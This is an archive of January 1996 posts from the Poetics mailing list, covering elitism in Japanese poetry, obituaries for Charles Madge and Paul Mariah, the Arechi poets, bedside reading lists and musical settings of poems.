Here's a follow-up on the issue of elitism and Japanese poetry from my colleague, Takashi Wakui, who wrote a dissertation on the history of "gendai shi" or "modern poetry" in Japan. Please send comments directly to him. He seems to be too busy to subscribe to the Poetics list. By the way, he has recently put John Geraet's reading on his w.w.w. homepage. The URL is http://lang.nagoya-u.ac.jp/~wakui/. (Click "Video.")

Akitoshi Nagahata
Faculty of Language and Culture
Nagoya University
[redacted]

Hi. I'm a colleague of Akitoshi's. He is my linked verse (renga) mate. He studies modern and post modern American poetry but writes well crafted renga verses replete with classical diction and allusions to traditional Japanese literature. I'm usually the one who shakes up the learned classical tone and brings the course of narrative to our world of the late 20th century. But that doesn't mean I'm at war with the tradition. As Akitoshi himself says, a certain amount of sophistication is essential for poetry, be it "gendaishi" or traditional verse such as tanka, renga, or haiku. I agree with him completely on that point. There is pop music and serious music. Similarly there is pop poetry (lyrics to pop music) and serious poetry. The word "elitist" is a non neutral and usually

derogatory term used by those who are faction conscious. The best tactic to deal with such name calling is to simply ignore. However, if you have anxiety about the diminished readership of the kind of poetry you write and feel defensive about it, you might end up overreacting to the attack and mutter something like, "but it's money that's elitist". What does that mean? Everybody knows that money is unfairly shared, there is no money in poetry unless you are a Bob Dylan or a Paul Simon (if you want money write like Paul Simon!!), etc. Wouldn't you think, by the same token, that your ability to express yourself thru your type of poetry (be it language poetry, new formalist, renga, etc) is also unevenly shared by the general public thus resulting in a small readership? Yes. You are degrading yourself if you counter the charge of eliticism by invoking the evils of capitalism, because you are thus betraying your defensiveness and anxiety about your existance as a poet. Let's recall John Cage and Milton Babitt. The former said something to the effect: sure, you can do the same thing; why don't you do it? The latter's reply was: I wouldn't give a damn if nobody listened. These people are/ were at peace with themselves. They know/ knew that they were limited by their genes and history so that they could only create in a certain number of ways. Akitoshi's account of the "popularity of poetry" in Japan is accurate. As far as I know there exist no tv programs on "gendai shi", although some universities and other schools offer creative writing courses that teach you to write such a type of non traditional (neither tanka, renga, haiku, etc.) poetry. The short traditional forms are "popular" precisely because they are relatively easy to compose due to their brevity and well established codes and conventions. Even a not so smart emperor can compose a tanka poem in the classical mode, becasue all he has to do is to fill in the blanks of a preestablished form. But this doesn't mean all contemporary tanka and haiku are popular and easy to read. There are a certain number of haiku and tanka poets who write for the "elite" readers. My personal view is that even such poetry is easier to write than the longer form, precisely because it's short. I sometimes wonder why such poets wouldn't try their hands at the longer form. I suspect that they might be like Japanese professional baseball players who are content with playing in Japan. Not many are like Nomo who risked failure to play in a more challenging world. --takashi wakui [redacted]

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316. **Ken Edwards**

Charles Madge 1912-1996

Fri 26 Jan 1996

I thought I'd just record here sadly the death of Charles Madge, on 17 January (obituary spotted in The Guardian, London, yesterday).

He was the founder of Mass Observation, the social reportage movement of the 1930s and 40s, which had its roots in socialism and surrealism but became a precursor of the opinion polling and market research industries. He was also a poet, initially associated with Auden, Spender and Day-Lewis (and once married to Kathleen Raine). He was taken up by T S Eliot, who published two collections under the Faber imprint -- The Disappearing Castle (1937) and The Father Found (1941). They were republished by Anvil Press in 1994, together with uncollected poems, under the title Of Love, Time and Places: Selected Poems.

Robert Hampson and I reprinted "Bourgeois News", a collage prose poem from the first (1937) collection in an early issue of Alembic in the 1970s. It anticipates the "new sentence" by some years! Here's the opening paragraph:

"Floods are frequent because the rivers of Britain have been neglected for a century. Positive movements of transgression carry the sea and its deposits over the lands, drowning them and their features under tens or hundreds of fathoms of water. Efforts to advance the prosperity of the country should be directed towards building on the foundations already laid by the native himself, rather than to hazardous introductions or innovations. Commercial possibilities are not clearly and courageously visualised, and the new ventures are often the product and concern of individuals facing the traditional difficulties of lonely pioneers. The indoor staff remains comparatively small. The vigour of mountain building, of volcanoes, and of other manifestations of unrest, has shown no sign of senility or lack of energy. An operator received concussion and a wound on the head from a cast-iron cover blown off a 60A switch-fuse box."

Much of his output is more conventional (after all, there wasn't the context for this kind of stuff in Britain in the 30s) but to my mind Madge was a consistently more interesting poet than, say, Spender or Graves.

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317. Ron Silliman

Paul Mariah

Fri 26 Jan 1996

Poet, editor and publisher of Manroot books, Paul Mariah died of pneumonia on January 12. He was 58.

The name Mariah was chosen by Paul when he moved to San Francisco after having served a term in prison somewhere in the midwest for homosexual activity (!). By the mid 1960s, he was a one-man campaign for the idea of a poetics out of the closet. When Judy Grahn and Pat Parker began actively promoting a lesbian aesthetic, Paul's work had already created a context for thinking and writing in similar terms. After Spicer's death in '65 and the move of Blaser, Stanley and Persky up to British Columbia, Mariah actively promoted

the Spicer Circle and the SF Renaissance, always foregrounding the issue of gender orientation.

In publishing Spicer's _15 False Propositions About God_ and the Manroot issue celebrating Spicer (#10), Mariah was one of the few people to make Spicer's work available in the period between that poet's death and the arrival of the Collected Books in 1975. He also published books by Cocteau, Stephen Jonas (again, _Two for Jack Spicer_), Lynn Lonidier, Robert Ingersoll and others.

His own books of poetry included _The Spoon Ring_, _Persona Non Grata_, _Diana_ and _Six Imaginary Letters of Young Caesar on the Bythenian Tour, 81 B.C._.

Paul was one of the first poets to support my own work and it was through his reading series held at the old Albany Public Library on Solano Avenue in 1968 (the same room, by chance, where six years earlier I'd discovered Williams _The Desert Music_ and realized that I was going to be a poet) that I first met both David Bromige and David Melnick. Melnick used to kid me that I'd lifted my public reading style directly from Paul.

Paul moved up to the Russian River later on and gradually became less visible on the scene. The last time I saw him was at the Eigner celebration at the University Art Museum in Berkeley a couple of years ago. He was surprisingly frail, with a long beard, full of humor and playing the Ancient Fairye role to the hilt.

Here's a sample of his work. I believe that it's a portrait of the Irish lawyer/poet James Liddy. Around '67, Liddy was at SF State and, when drunk (any day after 5 pm), would take on the persona of Spicer.

SOCRATES, MISGNOMED
for Victor Turks

O I could never call _him_,
Socrates. He is too

Irish-Catholic, bourgeois
Middle-class white collar

Lawyer and liberal, the
Worst kind, smug.

His liberalness:
Boys and booze.

His only suffering
That he himself knows.

O what's a little
Suffering, more or less.

"Jack Spicer is alive
And well in Ireland." No,

He is sleeping
In too few libraries

With his boots on
And nothing else

But "the radio."

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318. **Rachel Loden**
FYI: Gioia (Jello Bounces Back)
Fri 26 Jan 1996

Gannett News Service August 15, 1989

''We've made it more convenient, more contemporary,'' said Dana Gioia (pronounced JOY-a), marketing manager of the desserts division at General Foods USA. The new recipe for Jell-O's success comes at a time when the company, now a part of Kraft General Foods, is eager to show parent Philip Morris it can boost profits and revitalize its stable of mature brands.

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319. **cris cheek**
Re: Charles Madge 1912-1996
Fri 26 Jan 1996

Thanks Ken for posting on Charles Madge. An aye-aye to his considerably rangey influence. Also, for those who know nothing as yet of such matters, cross over at least to the films of Humphrey Jennings.

I'd go as far as to say that somehow, and there's a useful paper lurking here, an understanding of the work of Mass Observation would be a strong grounding for reading English poetry out of the loosely affiliated London core in the 1970-1990 period. Mass Observation's work, taken at its broadest trajectories intercedes Robert Smithson's writings (in particular the unbelievably highly recommended, in my opinion, 'Frederick Law Olmsted and the Dialectical Landscape', 'The Spiral Jetty', 'Incidents of Mirror-Travel in the Yucatan' and 'A Tour of the Monuments of Passaic, New Jersey' - most of which Barrett Watten cites in his essay 'Total Syntax'); even the Situationist International 'derive'.

love and love
cris

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320. Daniel Bouchard
Re: FYI: Gioia (Jello Bounces Back)
Fri 26 Jan 1996

>> ''We've made it more convenient, more contemporary,'' said Dana Gioia
>>(pronounced JOY-a), marketing manager of the desserts division at General Foods
>>USA. The new recipe for Jell-O's success comes at a time when the company, now a
>>part of Kraft General Foods, is eager to show parent Philip Morris it can boost
>>profits and revitalize its stable of mature brands.

And a good thing too: if there's one thing that really gets my goat it's inconvenient, archaic jello.

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321. Keith Tuma
Re: Charles Madge 1912-1996
Fri 26 Jan 1996

More on Charles Madge.

In _Parataxis 4_, there's the following little note from a short letter devoted to "lost precursors":

"Charles Madge. _The Disappearing Castle_, Faber 1937, is probably all. But enough for anyone, I mean long lifetimes of assiduous modern-poeting haven't touched the penetrative delicacy of this one book."

Signed by one "Reginald." I'm guessing that's Peter Riley. Anybody know for sure?

--Keith

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322. **David Kellogg**
Re: Charles Madge 1912-1996
Fri 26 Jan 1996

I had not known his work but now must find it. (Duke either doesn't have it or hasn't logged it electronically yet). Did he more recently edit *Pandemonium*, a book of reportage about machines?

Thanks to all who know his work for posting.

Cheers,
David
~~~
~~~

324. **Maria Damon**
Re: Paul Mariah
Fri 26 Jan 1996

---

thanks, ron, for the obit and news. i'd never read his work until you posted this piece, but i know of his heroic stature and have admired his role in the scene.--maria d

↑ Index

325. **Joe Amato**
biographies...
Fri 26 Jan 1996

---

since this bio thread has surfaced: i have sitting next to my keyboard (to remind me that all is not pixel) david s. reynolds' new book on whitman, _walt whitman's america: a cultural biography_... wondering if anybody has spent any real time with it, and what all you may think of it?... i've delved in only in pieces, was surprised to find material on "the trouble" (whitman's alleged sodomy of a child and, by some accounts, subsequent tar & feathering)...

joe

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326. **Chris Stroffolino**
Re: Japan (Toshiro Yamizaki)
Fri 26 Jan 1996

Pierre--- Thanks for the information on "Arechi"--but, of course, I DID some work on the anthology for you and JR and already KNEW that-- (though good info. for others), but no one has answered my question about Yamizaki.....chris

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327. **Chris Stroffolino**
Re: Paul Mariah
Fri 26 Jan 1996

---

maria---considering that you were were writing to ron, i hope you
weren't using the phrase "heroic stature" ironically....
just curious. cs

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328. Henry Gould
intro (new to list)
Fri 26 Jan 1996

Hello...poeticians(?) New to list, would like to introduce myself. Work in Brown U. library, co-edit little magazine called Nedge. Looking forward to listening in for a while.

[redacted]

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329. Kevin Killian
Small Press Traffic Internships
Fri 26 Jan 1996

For any of you Poetics List people who live in the Bay Area:

Small Press Traffic Literary Art Center is seeking (non-paid) interns to help with its transition from a small press bookstore to a resouce center.

Interns would be involved in the following activities/projects: processing our stock as part of our transition from a bookstore to a resource center (includes sorting books, writing letters, returning books), grant writing assistance, bulk mailings, newsletter production, developing and maintaining a WorldWideWeb site, advertising and promotion, membership drive, assistance at events (readings, receptions, fundraisers), moving to and helping set up our new office space, setting up writing workshops for under-served populations, and various other administrative tasks.

While our intern position involves some grunge work, there will also be opportunities for interns to work within the Bay Area writing community, to meet writers from around the country, to go to parties, and, hopefully, to have fun.

Prospective interns can leave a message at the Small Press Traffic voicemail: 415/[redacted].

Thank you,
Dodie Bellamy

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330. Joseph Zitt
Re: intro (new to list)
Fri 26 Jan 1996

On 26 Jan 96 at 22:51, Maria Damon wrote:

> *one thing we haven't done in a while is post our top ten current bedside reading.*

For what it's worth, the pile by my bed includes

1. Charles Bernstein: A Poetics
2. Ron Silliman: What
3: Jerome Rothenberg & Harris Lenowitz: Exiled in the Word
4. Marjorie Perloff: Poetic License
5. Samuel R. Delany: They Fly at Ciron
6. John Cage: Rolywholyover catalogue box thing
7. Mark Pesce: VRML:Browsing and Building Cyberspace
8. JG Ballard: The Atrocity Exhibition
9: Gerald Burns: Toward a Phenomenology of the Written Word
10. Elliot R. Wolfson: Circle in the Square: Studies in the Use of Gender in Kabbalistic Symbolism

Well, some patterns seem to form... ---------1---------1---------1---------1---------1--------- 1---------- |||/ Joseph Zitt ==== [redacted] ===== Human Systems \||| ||/ Organizer, SILENCE: The John Cage Mailing List \|| |/<A HREF="http://www.realtime.net/~jzitt/">Joe Zitt's Home Page</A>\|

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331. Mark W Scroggins
Poking head out of water...
Fri 26 Jan 1996

Not that I've posted anything on the list for yonks, but I thought that since I'd changed venues, I should post my new address, in case the one or two of you out there who know me might want to get in touch (especially you, Dodie...).

Best to all,
Mark Scroggins

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332. Linda Lane Reinfeld
Poetry in Japan
Fri 26 Jan 1996

I'm emerging from my long lurk to say thanks to the people who've been addressing the issues of elistism and tradition in Japanese poetry. These are matters of particular interest to me and my translating partner, Toshi Ishihara -- we've just produced a non-traditional edition and translation of the _Ogura Hyakunin Issue_ , a card game of 100 poems. It was a lark for us, since we were both working out of our academic fields of expertise (mine in langpo,

Toshi's in Asian-American lit), and a rather Japanese thing to do, I suppose, in that we assumed poetry is a game anyone can play. And play in any language.

The poems in this anthology are not "elite" now since everybody learns them in high school and half the country plays the game at new year (well, more than half the people I know). It's my understanding that, from a literary point of view, many of the poems are not particularly good or interesting, even in the original Japanese. Plenty of "stupid emperors" here. However, the way the poems have been used, and the way they've lasted, is -- IMHO -- very interesting indeed.

Rampant amateurism. In any case--

Not everybody likes the liberties we took with the tanka. First of all, we threw out the traditional 5 line form and used free verse couplets instead. That's because when the poems are read aloud, for the purposes of the card game , they're read with a big caesura about halfway through. Then we printed the poems on cards with only one line of the poem on each card. You can match them if you're a traitionalist, or you can combine them as you like for your own amusement if you don't mind messing with the traditional forms. Toshi tells me some of her friends in Kobe and Osaka are having a good time with it, making up poems of their own. On the other hand, my Japanese teacher here in the States wants me to stick those poems together properly, and moreover, she wants them presented side by side with the originals to compare... No messing around with the forms for her!

To further play with the form a bit, we backed each poem with a black and white photograph (we are not photographers), many of them done with a close-up lens, and none of Asian stuff. All ordinary stuff from around here. My favorite is of peeling paint from our garage door. It backs the last poem of the set:

Memory, almost more than I can bear:
Ferns drooping from the eaves, the palace stands.

Written by retired Emperor Juntoku. Stupid or not, I don't know.

So far, reactions to the photos are mixed. Some people hate their having been cut in half. Some hate that they're "abstract." Our experimental artist friends seem to like the photos, but many of my Japanese friends, like my American friends, are puzzled by the pics, since they are not representing stuff from the poems and "hard to understand." We think they are appropriately eccentric. They think we are.

I just checked out the E-text library and indeed, there's a really neat site for Hyakunin Isshu. That's http://etext.lib.virginia.edu/japanese/index.html

-- many many thanks for the reference. Tradional translations, non-traditional medium.

It's interesting to see how for a poet like Toshi, the distinction between traditional and experimental breaks down. On the other hand, you need a certain degree of sophistication to be able to play around with this kind of material and not come out looking like a fool.

Best, Linda Reinfeld

[redacted] or [redacted]

PS

I'm sorry this posting is so long. I'll put up our announcement of the HI translation separately and later a note about the fate of our Berstein, Silliman, Hejinian, and Howe translations into Japanese.

REALLY non-traditional stuff is not so welcomed by established contemporary poetry magazine editors in Japan, so far as I can tell.

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333. Maria Damon
Re: intro (new to list)
Fri 26 Jan 1996

---

welcome henry gould.
less than a year ago, i was a tremulous first-time poster on the list. now i'm a tremulous multiple poster. it's fun, sometimes boring but sometimes, more often, agreeable and companionable. we've gotten less silly of late, fewer dumb jokes and more straight info, as well as the cyclically recurring debates about elitism, poetry's "usefulness," communities, etc. i miss the silliness myself. maybe others are relieved.
one thing we haven't done in a while is post our top ten current bedside reading.
here's mine:
1.Daniel Boyarin, Carnal Israel.
2.Gertrude Stein, A Novel of Thank You.
3.Maurice Fishberg (1911), The Jews: A Study of Race and Environment. (anyone detect a theme here?)
4.Janine Pommy Vega, ed. Candles Burn in Memory Town (prison poetry)
5.Hannah Weiner, Written In/ The Zero One
6.Kathleen Fraser, When new time folds up
7. Beverly Dahlen, A Reading 8-10
8.Jacques Ranciere, The Names of History

9. Thich Nhat Hanh, Present Moment, Wonderful Moment
10. Cultural Anthropology (journal)

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334. Carl Peters
*_when new time folds up_*
Fri 26 Jan 1996

---

maria -- fraser's _when new time folds up_ is 6 on yr list! -- interested to hear your thots on that bk. i just had an excellent exchange with charles abt it. i wanted to know his take on the use of the bullets in the first section of it -- for some reason they struck me (psychologically ?), and i wanted to know how they were negotiated -- kind of a benign question on my part in th final analysis, but not that benign -- take care, -- c.

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335. Eryque Gleason
Re: intro (new to list)
Sat 27 Jan 1996

---

less than a year ago i too was an email nothin nobody nowhere.

now i just don't post much.

being an english student, i have enough coerced readings that i don't need to add anything ELSE to the pile, but it's groovy to swap spines on occasion.

but on the non-academical side:

primary trouble. i was in transit while the latest low down on anthologies was kicked
around, but no matter what troubles any of us may have with anthologies, the work
in there is well worth the read

bits and pieces of dodie's manuscript From the Letters of Mina Harker as she lets them
loose in no particular order.

tangle blue, a chapbook by pat reed, gleefully stolen from the cardboard box that constitutes the poetry collection at the illinois institute of technology

tinfish, number one, ed. susan schultz

somehow my thesaurus is in that stack too, which is odd cuz it's not a very interesting one.

eryque

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336. Philip Hammond
music and poetry
Sat 27 Jan 1996

I am new to this list as well, so I hope I'm not covering old ground with my post.

I'm interested in poems that have been set to music, music inspired by poets, music made by poets, etc.

For example: Some poetic/musical admixtures (25-cent word) I have discovered in the last year or so:
Georgi Sviridov- Esenin's poems
Shostakovich- poems by Rilke, Tsvetaeva, Mallarme, et al.
Van Morrison- "Before the World Was Made" - Yeats
Peter Laughner- "Sylvia Plath"

There is also apparently a Russian composer who has put some Pasternak poems to music - I'd love to know who it is.

If you know of any similar examples I would be very grateful for an email.

Thanks,
Phil Hammond
Slavic Languages and Literatures Grad Student
Univ. of Texas

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337. Akitoshi Nagahata
Toshio Yamazaki
Sat 27 Jan 1996

Pierre--- Thanks for the information on "Arechi"--but, of course, I DID some work on the anthology for you and JR and already KNEW that-- (though good info. for others), but no one has answered my question about Yamizaki.....chris

I've never heard of Toshio Yamazaki. His name, though, is in the directory of _Gendaishi Techo_, nationwide commercial magazine of gendai-shi (modern poetry). And our librarian spotted a book by Yamazaki called _Joeichu_ (_On the Air_) in a database. The datum shows he was born in 1947 and the book was published in 1966. I'll request it next week. His first name, by the way, literally means "ten deaths and lives."

Akitoshi Nagahata

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338. Akitoshi Nagahata
Arechi poets
Sat 27 Jan 1996

Chris -- in vol 2 of MILLENNIUM we'll have a section on the "Wasteland" poets -- though we call them by their Japanese name, i.e. the "Arechi" poets. We include Tamura Ryuichi,Tanikawa Shuntaro,Ooka Makoto & Shiraishi Kazuko. But then that book won't be out til late next year...

As far as I know, Tanikawa, Ooka and Shiraishi aren't called "Arechi" poets here. Here is a quote from _Kodansha Encyclopedia of Japan_.

Arechi (Waste Land). Influential post-World War II poetry magazine; originally founded before the war [wwII] by a small group of Waseda University students led by Ayukawa Nobuo and Morikawa Yoshinobu (1918-42), it became an important yearly review of modern poetry starting in 1951. The first series of Arechi, which took its name from T.S. Eliot's poem, "The Waste Land," appeared briefly between 1939-40. Revived after the war, the second series (1947-48) was published by a group of young poets who best represent the developement of modern poetry in the first postwar decade. Collectively known as the Arechi poets (though not a coterie per se), the group's central figures were Ayukawa Nobuo and Tamura Ryuichi (b 1923). Adherents included Kitamura Taro (b 1922), Kuroda Saburo (b 1919), Miyoshi Toyoichiro (b 1920), Nakagiri Masao (b 1919), and, later, Yoshimoto Takaaki. Viewing Japan as a "wasteland" in the immediate postwar years and drawing on their wartime experiences, they sought to reestablish the reliability of the language and to reconstruct modern poetry in the postwar era. --Theodore W. Goossen

Tanikawa and Ooka, who were in the so-called postwar second generation, were chief members of another poetry magazine, _Kai_ (founded 1953). Often in comparison with _Arechi_, _Kai_ is usually characterized by its internalization of the social and political stances (stress on the personal voice), as opposed to Arechi's collective and more overt social/political voices.

Akitoshi Nagahata

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339. Ron Silliman
Re: music and poetry
Sat 27 Jan 1996

Phil,

Don't forget the setting of one of Charles Olson's Maximus Poems recorded by The Fugs in the 1960s, the Hugo Ball sound poem recorded by the Talking Heads in the mid-70s or the dreadfully awful version of The Desert Music done

by Steve Reich (completely at odds with the spirit of the poem). Charles Shere is has done settings for some of Gertrude Stein's work and is currently doing the same for Carl Rakosi. (His email address is [redacted])

Celia Zukofsky's setting of Louis' work in "A" 24 may be the most famous instance of a poem "set to music" in our time.

I once heard Lew Welch do a Motown version of The Waste Land (and I'll wager, since this was at SF State, that it's somewhere in the vast audio archives there that Laura Moriarty oversees), but Eliot's estate would not permit him to record it. It was tremendous and hysterically funny all at once.

I'm sure there must be oodles more.

Ron Silliman
[redacted]

>
>I am new to this list as well, so I hope I'm not covering old ground
with
>my post.
>
>I'm interested in poems that have been set to music, music inspired by
>poets, music made by poets, etc.
>
>For example: Some poetic/musical admixtures (25-cent word) I have
>discovered in the last year or so:
>Georgi Sviridov- Esenin's poems
>Shostakovich- poems by Rilke, Tsvetaeva, Mallarme, et al.
>Van Morrison- "Before the World Was Made" - Yeats
>Peter Laughner- "Sylvia Plath"
>
>There is also apparently a Russian composer who has put some Pasternak
>poems to music - I'd love to know who it is.
>
>If you know of any similar examples I would be very grateful for an
email.
>
>Thanks,
>Phil Hammond
>Slavic Languages and Literatures Grad Student
>Univ. of Texas
>

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340. Ron Silliman

moon message

Sat 27 Jan 1996

When this showed up on The Sixties list yesterday, I read it as a contribution to the discussion of creoles, pidgins and ideo(idio)lects. So I'll repost it here.

- - - - - - - - - - - - TEXT OF ORIGINAL MESSAGE - - - - - - - - - - - -

[Since I work at the Jet Propulsion Laboratory, the NASA site that flies Voyager, and not Los Alamos (GRRRR!), I had lunch one day with Peterson Zha, then President of the Navajo Nation. He told us the story and to make sure it's told properly I'll tell it again as it was told.]

About 1966 or so, a NASA team doing work for the Apollo moon mission took the astronauts near Tuba City where the terrain of the Navajo Reservation looks very much like the Lunar surface. With all the trucks and large vehicles were two large figures that were dressed in full Lunar spacesuits.

Nearby, a Navajo sheep herder and his son were watching the strange creatures walk about, occasionally being tended by personnel. The two Navajo people were noticed and approached by the NASA personnel. Since the man did not know English, his son asked for him what the strange creatures were and the NASA people told them that they are just men that are getting ready to go to the moon. The man became very excited and asked if he could send a message to the moon with the astronauts.

The NASA personnel thought this was a great idea so they rustled up a tape recorder. After the man gave them his message they asked his son to translate. His son would not.

Later, they tried a few more people on the reservation to translate and every person they asked would chuckle and then refuse to translate. Finally, with cash in hand someone translated the message, "Watch out for these guys, they come to take your land."

--Charles Phillip Whitedog, Ojibway and Network Manager
Multimission Ground Systems Office (Mission Control),
Jet Propulsion Laboratory, NASA

Louis A. Pena, Ph.D. phone: [redacted] Sloan-Kettering Institute
: [redacted] Memorial Sloan-Kettering Cancer Center fax: [redacted] 1275
York Avenue, Box 254 New York, NY 10024

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341. Jerry Rothenberg
Re: Arechi poets
Sat 27 Jan 1996

for Akitoshi Nagahata & Others:

Pierre [Joris] spoke a little too quickly & too ellipitcally about the titling of the Japanese section in Volume 2 of Poems for the Millennium. The full designation is POSTWAR JAPANESE POETRY, the subtitle (kind of) THE ARECHI & AFTER. Some of the distinctions mentioned in your letter are made clear, I think, in intro to that section, altho (maybe) too much focus on that grouping even so. Seven poets appear in this section and three others (I think three others) elsewhere in the volume -- more possibly than any national grouping except U.S. (altho page counts are not the most reliable measure of what we're after).

Anyway if anyone wants more info, etc. the back channel remains open.

Jerome Rothenberg
[redacted]

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342. Pierre Joris
Re: music and poetry
Sat 27 Jan 1996

As I was reading the mail on poetry&music, I was listening to a double-cd release of Wilhelm Killmayer's settings of Holderlin poems. Also, there's at least half a dozen contemporary composers who have set Paul Celan poems to music -- don't have the info handy, but if you check the on-line worldcat, you'll find the references.

& then of course, there's John Cage & his use of words-in-music.

Pierre

ps. Glad Jerry came in on the Arechi section -- . Our presentation of Japanese poetry is indeed wider than my post suggested -- the section in question being called "The Arechi _and after_"

========== Pierre Joris | "Form fascinates when one no longer has the force Dept. of English | to understand force from within itself. That SUNY Albany | is, to create." -- Jacques Derrida Albany NY 12222 | tel&fax:[redacted] | "Poetry is the promise of a language." email: | -- Friedrich Holderlin [redacted]|
==========

On Sat, 27 Jan 1996, Philip Hammond wrote:

> *I am new to this list as well, so I hope I'm not covering old ground with my post.*
>
> *I'm interested in poems that have been set to music, music inspired by poets, music made by poets, etc.*
>
> *For example: Some poetic/musical admixtures (25-cent word) I have discovered in the last year or so:*
> *Georgi Sviridov- Esenin's poems*
> *Shostakovich- poems by Rilke, Tsvetaeva, Mallarme, et al.*
> *Van Morrison- "Before the World Was Made" - Yeats*
> *Peter Laughner- "Sylvia Plath"*
>
> *There is also apparently a Russian composer who has put some Pasternak poems to music - I'd love to know who it is.*
>
> *If you know of any similar examples I would be very grateful for an email.*
>
> *Thanks,*
> *Phil Hammond*
> *Slavic Languages and Literatures Grad Student*
> *Univ. of Texas*

↑ Index

343. Peter Jaeger
Re: music and poetry
Sat 27 Jan 1996

Hi--I'm new to this list. This music discussion makes me wonder about translation. Does de-contextualizing a linguistic text by setting it to music translate that text? Jakobson has written about "intersemiotic translation"--the interpretation of signs from one semiotic system by another--for example, language "translated" into pictures or music. Setting a poem to music is an interprative act, a translation which foregrounds loss, expenditure...

On Michael Nyman's "Songbook," Ute Lemper sings poems by Celan, Shakespeare, Rimbaud, Mozart. The english translation of Mozart (taken from a letter) is not at all typical of 18th century writing--more like a prose-lyric attempt to depict a "natural" speaking voice. The Rimbaud translations make me want to dance the can-can

Peter Jaeger
London, Ontario

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344. David Golumbia
Re: music and poetry
Sat 27 Jan 1996

Ron S. wrote:
>
>the Hugo Ball sound poem recorded by
>the Talking Heads in the mid-70s

that's "I Zimbra" from FEAR OF MUSIC...back when they were still odd & good.

another curiousity is Syd Barrett's "Golden Hair" (on one of the two canonical solo albums, BARRETT I think but maybe THE MADCAP LAUGHS), a setting of one of James Joyce's poems...strangely compelling.

And for trivia lovers, the ending of ABBEY ROAD by you-know-who features Paul M.'s attempt to set an Elizabethan lyric ("Golden slumbers," etc.). It did at least produce a small gasp when I ran across the poem in a collection some years back.

--
[redacted]
David Golumbia

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345. Chris Stroffolino
Re: music and poetry
Sat 27 Jan 1996

Yes, David G., Syd Barrett!
And Ron S., for Motown.
Ever hear or see that Motownesque version of Yeats'
"Turning and turning in a whirling gyre"
Imagine the four tops, but with Eddie Kendricks rather than Levi Stubbs
on lead vocals. I forget who did it.
But, taking in (?????---the guy from London, Ontario)'s remarks
to account, about translation--
I'm curious Ron S. WHY in your opinion Reich would be alien to the
spirit of the WCW poem????
Implied question: WHAT kind of music would be in the proper spirit of
the poem?
I saw a version of !2th Night's Feste Song (the one with "jounrey end
with lover's meeting) done a la Tom Waits once, it didn't seem exceedingly
NOT in the spirit....
then of course there's Alan Golding's forthcoming album--

"Emily Dickinson poems to the tune of "Heartbreak Hotel"--
Irene Alebi (sic?)
My own version of Brecht's "Orge's Song" from BAAL
and, in reverse, Sebastion Cabot ACTOR does DRAMATIC READING of
BOB DYLAN (poet).....
I'm sure there's more
(though not by the gang of four--
though there's that great version of THE COMMUNIST MANIFESTO on the
National Lampoon Lemnings album....
(Papa was a running lackey of the bourgeois---by THE MOTOWN MANIFESTOES)..
---cs

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346. **Chris Stroffolino**
Re: music and poetry
Sat 27 Jan 1996

Oh yeah, gil scott-heron...

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347. **Chris Stroffolino**
Re: music and poetry
Sat 27 Jan 1996

---

and phil ochs' version of poe's "the bells"

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348. **Charles Smith**
Re: intro (new to list)
Sat 27 Jan 1996

Gwyn:

Cd you give info on Pat Reed's _Tangle Blue_? Who published it? Address? I always loved her writing & wasn't aware of any thing out rrecently...

Charles

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349. **Kevin Killian**
Re: intro (new to list)
Sat 27 Jan 1996

At 2:57 PM 1/27/96, Charles Smith wrote:
>Gwyn:
>
>Cd you give info on Pat Reed's _Tangle Blue_? Who published it? Address? I
>always loved her writing & wasn't aware of any thing out rrecently...
>
>Charles

Hi Charles. A) I think actually it was Eryque Gleason who was talking about having liberated Pat Reed's book from the cardboard box at IIT. So you might ask him. B) Pat Reed has a new book out that just appeared yesterday, called "We Want to See your Tears Falling Down" (San Francisco: Literatura de Cordel, 1996). You will certainly enjoy it if you're a Reed fan. You might also check out the most recent issue of BLOO (Chicago), which features a large number of her new poems.

"Literatura de Cordel" is I think Eileen Corder's new bookmaking project, chapbooks of innovative writing by women, very handsome books, I've seen one other, called "Not of this World" by Bettina Rotenberg. Go Eileen!

Kevin Killian 1996

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350. **Maria Damon**
Re: Paul Mariah
Sat 27 Jan 1996

---

chris, i've never met ron, is there some irony in my referring to paul mariah's "heroic stature" in a post to ron? if so, twas unintentional --bests, maria d

↑ Index

351. **Eryque Gleason**
Re: intro (new to list)
Sat 27 Jan 1996

Charles, 'twas i that posted about _tangle blue_. it's not particularly new, the only information given besides the title and author is the note at the bottom of the last page "-Trinity Alps, Fall '93" i dunno if Trinity Alps is a publisher or where it was written or what, mebbe someone else out there knows?

this is a beautiful little chapbook, 9x5 or something like that, obviously handmade. the cover is green construction paper with read thread for the binding. i have no idea where to get a copy as i stole mine.

the most recent thing that i know of hers is a prose piece (an excerpt i believe) published in _bloo3_ last spring entitled "We Want to see Your Tears Falling Down." Someone did enquire about copyrights as they wanted to republish the piece, but i don't know who. it may be possible for me to figure that out in the near future, however. If you'd like a copy of _bloo3_ lemme know, I stole some copies of that before i left chicago too. i'd be more than happy to trade.

eryque

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352. **Eryque Gleason**
Re: intro (new to list)
Sat 27 Jan 1996

Okay, now that Kevin's established for us that Eileen Corder is publishing Reed's work (i'd heard that someone had seen the piece in _bloo_ and wanted to be her publicist, just never figured out who) how do we contact her?

having read the excerpt in _bloo_ , i highly reccomend the book, even if i can't spell recommend the first time off.

eryque

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353. **Charles Smith**
Re: music and poetry
Sat 27 Jan 1996

---

gosh... there's SO much!!! where to begin?

poets doing their own stuff include Joy Harjo & her band, Jackson MacLow's cd, "Open Secrets," Baraka's recording w/ David Murray & Steve McCall: "New Music-New Poetry," & once again let me mention Nathaniel Mackey's excellent cd, "Strick." Or any of Linton Kwesi Johnson's recordings.

Steve Lacy has a number of things out: "Momentum" w/ Irene Aebi sets a Brion Gysin poem & Melville's "Art." Steve Swallow's "Home" has Sheila Jordan doing Creeley. I've always had a fondness for Marion Brown's "Sweet Earth Flying" which works out of Jean Toomer.

An old Nonesuch recording, "Spectrum: New American Music Vol 4" has George Rochberg setting Blake, & Jeff Jones setting Samuel Beckett. A recent release from New Albion by Ensemble Pan has some interesting things by

Robert Kyr using texts by Jean Joubert, Rimbaud, Borges, Apollinaire & Rumi among others. EP has a number of excellent recordings of medieval texts set to music. That field is enormous. Lots of troubadour recordings & other medieval poems sre readily available. Lots of renaissance material: Campion for example, or Robert Johnson's settings of Shakespeare, Beaumont & Fletcher, & Ben Johnson. Schubert's many settings of German poems, including Goethe, who disliked what he thought were the excessive results. Burns' work with the border ballads & the whole survival of traditional ballads in the contemporary folk scene--Jean Redpath! Lou Harrison did some Whitman, accompanied by a gamelan emsemble. Richard Strauss set some Hesse poems.

and on & on...

